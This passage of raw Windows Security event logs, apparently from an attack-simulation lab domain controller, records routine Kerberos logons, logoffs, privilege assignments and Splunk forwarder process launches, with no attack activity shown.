Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D0AF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64573 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252013 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D0AF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252012 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe88 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252011 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10a4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252010 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252036 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D372 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252035 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D372 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64580 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252034 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D372 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252033 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D311 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252032 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D311 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64579 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252031 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D311 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252030 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D2AB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252029 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D2AB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64578 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252028 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D2AB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252027 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D24A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252026 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D24A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64577 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252025 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D24A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252048 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D516 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252047 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D516 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64584 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252046 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D516 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252045 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D4B5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252044 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D4B5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64583 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252043 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D4B5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252042 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D44F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252041 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D44F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64582 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252040 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D44F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252039 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D3EE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252038 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14D3EE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64581 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event 